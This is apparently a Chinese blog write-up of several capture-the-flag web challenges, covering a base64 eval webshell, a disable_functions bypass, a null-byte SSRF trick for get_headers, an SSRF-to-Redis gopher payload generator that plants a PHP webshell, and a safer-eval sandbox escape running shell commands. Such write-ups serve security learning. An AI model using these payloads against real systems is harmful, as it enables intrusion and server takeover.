标签:协议 bin 内网 port webshell name 知识 who 优化
打开直接是源码:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()[‘Ginkgo‘];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.
eval($_POST["pass"]);
ZXZhbCgkX1BPU1RbInBhc3MiXSk7
正好与我前面的一篇博客相类似:
看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag
pwn("/readflag");
把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag
php_bypass_disable_functions
有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。
题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost\0.example.com";\0截断后,其实访问的是localhost.那么payload就很明显了直接构造
http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost .ctfhub.com
结尾只能是123
cve-2020-7066
打开网页一看是cms,我的第一反应是直接网上寻找有没有现成的渗透思路
直接搜索ShopXO v1.8.0漏洞
渗透测试|shopxo后台全版本获取shell复现 跟着走一遍即可,挺简单的,应该没什么问题
打开网页写了个提交按钮,看样子是跳转url,简单尝试下无果,127.0.0.1应该是在黑名单里了。查看源码,发现?secret,在框里提交,没用。再尝试在url上提交,发现给了IP地址。考虑内网渗透
c段扫描,发现在173.136.207.11下开启服务。
此时,使用burpsuite,扫描端口
如果报错429说明访问太快,number of threads 设置小一点
扫描发现开启6379端口,这里积累一下
常见端口:6379端口(redis)或3306端口(mysql)
ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf
import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这是构造redis命令的,并转化为redis RESP协议的poc,在ip和port处添加,运行在python2环境下
将生成的payload打在框里
访问173.136.207.11/shell.php,即可获得flag
这里有一篇总结的非常好的师傅博文,可以看看
看题目名字应该是node.js,进去是一个计算器。测试发现都是timeout,查看源码
app.use((req, res, next) => {
if (req.path === ‘/eval‘) {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log(‘timeout‘);
try {
res.send(‘Timeout!‘);
} catch (e) {
}
}, 1000);
} else {
next();
}
});
解释这段代码:
调用express,写一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。
将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。
如果执行的代码超过6s,才能执行/eval
interger超过2147483647可以使int溢出
绕过成功
发现引用了一个库safer-eval,那我们先找下关于这个库的内容或漏洞。搜索发现CVE-2019-10759,safer-eval代码注入漏洞。需要safer-eval 1.3.2。查看版本发现safer-eval =1.3.6。不符合
在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染,我还不是特别懂,这个人说了One can break out of the sandbox with the following code in node:,那通过此poc可以逃逸出沙箱
利用poc:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
即参数e的值等于process
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
有师傅总结了相关内容,之后再学习:链接
沙箱逃逸
点开网页,看着是要装一个Typecho软件,先跟着来。默认设置安装报错,“不,你不想安装”,一开始以为是自己电脑配置问题,一度怀疑人生,后面搜索,正好发现一篇文章
讲述install.php下,存在反序列化漏洞。跟着来,大同小异,跟着走,poc一打就差不多了
本次比赛习题以已知的cve,软件,cms漏洞为主,主要是要会看师傅们的博客,搜索到相关的解题思路,exp,通过别人的exp学习。总结了搜索cve等漏洞的一些途径:国家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
有很多的比赛都不是出的新题,以已知的漏洞为基础,进行一些变更,所以多看相关文章才是王道
标签:协议 bin 内网 port webshell name 知识 who 优化
原文地址:https://www.cnblogs.com/karsa/p/13069023.html